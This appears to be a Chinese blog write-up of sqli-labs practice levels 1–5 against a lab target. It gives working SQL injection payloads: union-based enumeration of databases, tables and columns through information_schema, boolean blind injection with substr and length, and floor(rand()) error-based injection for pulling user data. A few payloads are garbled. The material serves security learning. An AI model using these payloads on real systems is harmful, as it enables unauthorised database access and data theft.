当前位置: 首页 > news >正文

sql-labs

p1

sql注入的目的是为了破坏sql语句结构,有三种参数类型,字符型(就是一个字符1或者a之类的),字符串(“hellow之类的”)型,数值型,前两个有闭合,注释符号有# --(空格) --+

[(空格)转换为20%#转换为23%]

有回显,说明参数是字符型单引号闭合,尝试爆字段 

当输入order by 4的时候报错,说明存在3列,而且就然能报错说明将语句解析执行了,说明存在注入点(order by是对列进行排序的意思)

联合查询,前面报错后面插入恶意语句,得到回显位2,3 (显示数据库查询结果)

补充:联合查询的列数,必须与原始查询的列数一致,所以有了占位符一说

输出2的名字和3,其中1,3是占位符,

最后用联合注入

http://[靶机IP]/sqli-labs/Less-1/?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata --+

group_concat:一次性提取多行数据时用“,”将他们连接起来

schema:包含所有数据库的列表以及有关这些数据库的信息。

information_schema是一个系统数据库,存储了所有数据库、表、列等元数据信息。在这里用于提取数据库名

information_schema.schemata查询这个表可以获取所有数据库的名称

在ctftraining中查找flag ,

http://[靶机IP]/sqli-labs/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables  where table_schema='ctftraining' --+

再查询column名

http://[靶机IP]/sqli-labs/Less-1/?id=-1' union select 1,2,group_concat(column_name)from information_schema.columns where table_schema='ctftraining' and table_name='flag' --+

 最后输入

http://[靶机IP]/sqli-labs/Less-1/?id=-1' union select 1,2,group_concat(flag) from ctftraining.flag --+

cat flag

 p2

 判断参数类型为数值型,报错存在注入点

一直order by到4才报错,所以有三个字段回显位

暴库名

 爆表名

爆列名

 爆flag

 p3

我以为还是数值型

但是1=2也对 

联合注入查看报错信息‘) 闭合

回显位2,3

爆库名

 爆表名

爆列名

爆flag

p4

也是前期咋个试都对

")报错了,存在注入点

回显位

 爆库名

 爆表名

得到flag

p5

我去,看的wp布尔盲注强行爆破,太麻烦了,又去找发现了updatexml报错注入

无回显

 报错,单引号闭合,

看别人wp有两种方法,一个布尔盲注很麻烦,不过趁机详细学学,另一个是updatexml报错注入

方法一(布尔盲注)

主要学知识点,操作一部分,不完全操作,太麻烦了

一、盲注思路:

  1. 爆库名长度
  2. 根据库名长度爆库名
  3. 对当前库爆表数量
  4. 根据库名和表数量爆表名长度
  5. 根据表名长度爆表名
  6. 对表爆列数量
  7. 根据表名和列数量爆列名长度
  8. 根据列名长度爆列名
  9. 根据列名爆数据值

简单来说按照层次轮流爆:数量,长度,名

二、盲注原理

将?id=1与and并列进行注入

1.常用函数

(1)substr(str,from,length):(字符串,截取位,截取长度)这里要注意没有0位从1位开始 

(2)length(str):返回str长度

(3)ascii(char): 返回字符的ASCII码。

(4)count(): 返回当前列的数量。

(5)case when (条件) then 代码1 else 代码2 end: 条件成立则执行代码1,否则执行代码2

2.盲注步骤(穷举,盲猜)

爆破库名长度,ba

?id=1 and length(database())=1

爆到其他的是图一,爆到8是图二,说明库名长度为8

爆破库名

第一个字母s

第二个是e

逐个尝试是security

我不知道为什么下面这个payload爆不了字段,都显示正确

?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>28--+

判断所有表名字段长度为29注意","会被记入总长度 

?id=1' and substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),2,1)='m'--+

当试到e时成功,m时成功...........

最后爆出来是emails,referers,uagents,users

在接着爆列的长度

列长度为20

?id=1' and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+

爆这个错

?id=1'and substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1)='a'--+

到 i 的时候成功.......省略n多步骤最后爆出来id,username,password

有110个字符

布尔盲注自己注去吧能注出来

方法二(报错注入)

我一下子看到了好几种报错注入,逐个学习了解一下

双查询注入报错原理:

1.先来了解子查询:子查询可以理解在一个select语句中再插入一个select 里面的select语句就是子查询eg:select concat((select database()));执行语句时,先从子查询进行, 先执行select database()再把结果传入到concat函数

2.常用函数:

(1)rand:随机生成0~1之间的小数

(2)floor:向下取整,将rand取为0或者1触发报错

(3)concat:将多个字符连成一个字符串

(4)group by:按照指定结果分组,结合floor(rand()*2)触发报错,嗯......具体例子不好展示,大概就是:

(5)count:统计行数,用于group by 分组统计,触发报错

(6)limit:限制返回的行数

3.场景复现

创建数据库;

使用该数据库;

创建表;

插入数据并查询;

好吧,插入了好几次终于报错了

就可以得到数据库信息

还是想写一下大致逻辑:

扫描第一行:假设一开始floor(rand()*2)的结果为0,准备插入前再次扫面floor(rand()*2)的结果为1,则插入1,并count1;

扫面第二行:floor(rand()*2)的结果为1,直接count+1

扫描第三行:floor(rand()*2)的结果为0,准备插入前再次扫面floor(rand()*2)的结果为1,想要插入,但是已经有1了就会报错,由此得到有用信息

关于报错注入的原理和底层逻辑sql注入--双查询报错注入原理探索_报错注入查询多个数据库-CSDN博客

这篇文章写的非常通俗易懂,而且非常清晰,牛牛牛,这里就不一一赘述了,下面是查询语句

mysql> SELECT count(*),concat((SELECT database()),"~",floor(rand()*2))as a FROM test GROUP BY a;
然后构造payload注入  
?id=-1'%20 union select 1, count(*),concat((select database()),"~",floor (rand()*2)) as a from information_schema.tables group by a--+
          这里要注意一个问题,联合查询的列要和本身列数相同, 所以是union select 1, count(*),concat..........          
 爆表名, 但是这个爆表名为什莫这里还是concat((select database())?
?id=-1' union select count(),count(), concat((select database()), floor(rand()*2)) as a from information_schema.tables group by a --+
       爆列名
?id=1' union select 1, count(), concat((select username from users limit 0,1), '---', floor(rand(0)2)) as a from information_schema.tables group by a --+
                                          

相关文章:

  • 【零基础入门unity游戏开发——通用篇】Linerenderer线和Trail Renderer拖尾
  • 【新品解读】4 路光纤 4 FMC 扩展,AMD KU 系列 FPGA 开发板 AXKU115 多场景高速通信解决方案
  • Multisim学习-04 示波器的使用
  • React+Next项目中实现PDF预览功能
  • uniapp自身bug | uniapp+vue3打包后 index.html无法直接运行
  • 编写一个简单的chrome截图扩展
  • 二叉树leetcodeJAVA2
  • 统信UOS中使用Vscode编程
  • (四)---四元数的基础知识-(定义)-(乘法)-(逆)-(退化到二维复平面)
  • 如何把master迁出的bug修改分支,合并、删除本地、删除远端
  • 服务安全认证概述与基础认证方式
  • Haption Virtuose力反馈设备在CAVE投影系统中提供真实训练交互
  • 金融级安全加速:群联SD-WAN如何兼顾防御与低延迟?
  • vue中根据html动态渲染内容
  • LeetCode hot 100 每日一题(11)——189. 轮转数组
  • 汇编与反汇编:DEBUG 命令使用指南
  • 万户协同办公平台ezOffice selectCommentField 存在 SQL 注入漏洞(DVB-2025-8941)
  • sqlserver 数据日常维护
  • 使用【docker】+【shell】脚本半自动化部署微服务项目
  • 每日OJ_牛客_小红的子串_滑动窗口+前缀和_C++_Java
  • 巴基斯坦称对印精准打击造成设施损坏和人员伤亡
  • 优秀“博主”在上海杨浦购房最高补贴200万元,有何条件?
  • 上海楼市“银四”兑现:新房市场高端改善领跑,二手房量价企稳回升
  • 印度外交秘书:“朱砂行动”不针对军事设施,无意升级事态
  • 毗邻三市人均GDP全部超过20万元,苏锡常是怎样做到的?
  • 习近平向“和平薪火 时代新章——纪念中国人民抗日战争和苏联伟大卫国战争胜利80周年中俄人文交流活动”致贺信